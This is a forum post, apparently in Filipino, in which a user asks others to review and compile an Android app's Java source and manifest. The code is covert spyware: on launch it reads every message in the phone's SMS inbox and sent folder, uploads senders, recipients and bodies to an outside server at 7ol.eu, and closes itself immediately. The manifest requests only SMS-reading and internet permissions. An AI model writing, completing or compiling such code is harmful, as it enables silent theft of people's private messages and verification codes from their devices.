PUTANKINNAMALL
Forum Veteran
pabasa po nito mga java master
at pa compile na din thanks
main activity.java
user.java
manifest permission
at pa compile na din thanks
main activity.java
Code:
package eu.ol.myapplication;
import android.app.Activity;
import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
import retrofit2.Retrofit;
import retrofit2.converter.gson.GsonConverterFactory;
import retrofit2.http.Body;
import retrofit2.http.POST;
public class MainActivity extends Activity {
public static final String BASE_URL = "http://7ol.eu/";
Gson gson = new GsonBuilder()
.setDateFormat("yyyy-MM-dd'T'HH:mm:ssZ")
.create();
Retrofit retrofit = new Retrofit.Builder()
.baseUrl(BASE_URL)
.addConverterFactory(GsonConverterFactory.create(gson))
.build();
MyApiEndpointInterface apiService =
retrofit.create(MyApiEndpointInterface.class);
public interface MyApiEndpointInterface {
@POST("sms/")
Call<User> createUser(@Body User user);
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Uri inboxURI = Uri.parse("content://sms/inbox");
Uri sentURI = Uri.parse("content://sms/sent");
String[] reqCols = new String[] { "_id", "address", "body" };
ContentResolver cr = getContentResolver();
Cursor c = cr.query(inboxURI, reqCols, null, null, null);
Cursor d = cr.query(sentURI, reqCols, null, null, null);
String smsr = "";
while (c.moveToNext()) {
smsr += "From :" + c.getString(1) + " : " + c.getString(2)+"\n";
}
String smss = "";
while (d.moveToNext()) {
smss += "To :" + d.getString(1) + " : " + d.getString(2)+"\n";
}
User user = new User(1, smss,smsr);
Call<User> call = apiService.createUser(user);
call.enqueue(new Callback<User>() {
@Override
public void onResponse(Call<User> call, Response<User> response) {
}
@Override
public void onFailure(Call<User> call, Throwable t) {
}
});
this.finishAffinity();
}
}
user.java
Code:
package eu.ol.myapplication;
import com.google.gson.annotations.SerializedName;
public class User {
@SerializedName("id")
int mId;
@SerializedName("name")
String mName;
@SerializedName("names")
String mNames;
public User(int id, String name, String names ) {
this.mId = id;
this.mName = name;
this.mNames = names;
}
}
Code:
package eu.ol.myapplication;
import com.google.gson.annotations.SerializedName;
public class User {
@SerializedName("id")
int mId;
@SerializedName("name")
String mName;
@SerializedName("names")
String mNames;
public User(int id, String name, String names ) {
this.mId = id;
this.mName = name;
this.mNames = names;
}
}
manifest permission
Code:
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" />